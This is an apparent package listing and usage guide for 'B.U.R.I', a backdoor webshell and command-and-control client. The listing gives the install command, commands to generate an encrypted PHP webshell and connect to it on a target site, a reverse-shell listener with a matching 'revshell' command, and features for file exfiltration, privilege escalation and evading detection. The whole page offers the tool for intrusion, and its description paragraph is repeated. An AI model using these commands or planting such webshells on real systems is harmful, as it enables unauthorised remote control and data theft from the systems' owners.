buri-tod 0.7.1

B.U.R.I (Backdoor Utility for Remote Interaction) is a modular, encrypted command-and-control (C2) webshell client designed for secure and interactive remote administration. It provides a feature-rich interface for managing remote systems via an encrypted PHP webshell, supporting AES-GCM encryption, reverse shell capabilities, and extensible command modules.

B.U.R.I (Backdoor Utility for Remote Interaction) is a modular, encrypted command-and-control (C2) webshell client designed for secure and interactive remote administration. It provides a feature-rich interface for managing remote systems via an encrypted PHP webshell, supporting AES-GCM encryption, reverse shell capabilities, and extensible command modules.

Features

• Encrypted Communication: Uses AES-GCM for secure client-server communication.
• Interactive Shell: Rich terminal UI with auto-completion, history, and syntax highlighting powered by rich and prompt_toolkit.
• Modular Design: Extensible command modules for custom functionality (e.g., file upload/download, privilege escalation).
• Reverse Shell Support: Built-in listener for reverse shell connections.
• Cross-Platform: Supports both Linux and Windows targets with dynamic environment detection.
• Stealth Options: Customizable POST parameters and proxy support for enhanced discretion.
• Path Autocompletion: Remote path completion using ls for efficient navigation.

Installation

    pip install buri-tod

Usage

B.U.R.I supports three main modes: creating a webshell, running an interactive session, and listening for reverse shells.

1. Create a Webshell

Generate an encrypted PHP webshell:

buri create --path shell.php --password 'SuperSecretPass123'

This creates a PHP webshell at shell.php with the specified password for encryption.

2. Run an Interactive Session

Connect to a deployed webshell:

buri run https://example.com/shell.php -p 'SuperSecretPass123' --param 'data'

• --param: Specify the POST parameter name (default: data).
• --proxy: Optional proxy (e.g., http://127.0.0.1:8080).

3. Start a Reverse Shell Listener

Listen for incoming reverse shell connections:

buri listen --lhost 0.0.0.0 --lport 4444

Then, from the interactive shell, initiate a reverse shell:

revshell <listener_ip> 4444

Example Commands

Once in the interactive shell:

• whoami: Display the current user.
• cd /path/to/dir: Change the remote working directory.
• ls: List files in the current directory (supports autocompletion).
• upload /local/path /remote/path: Upload a file to the remote system.
• download /remote/path /local/path: Download a file from the remote system.
• revshell <ip> <port>: Initiate a reverse shell to the specified listener.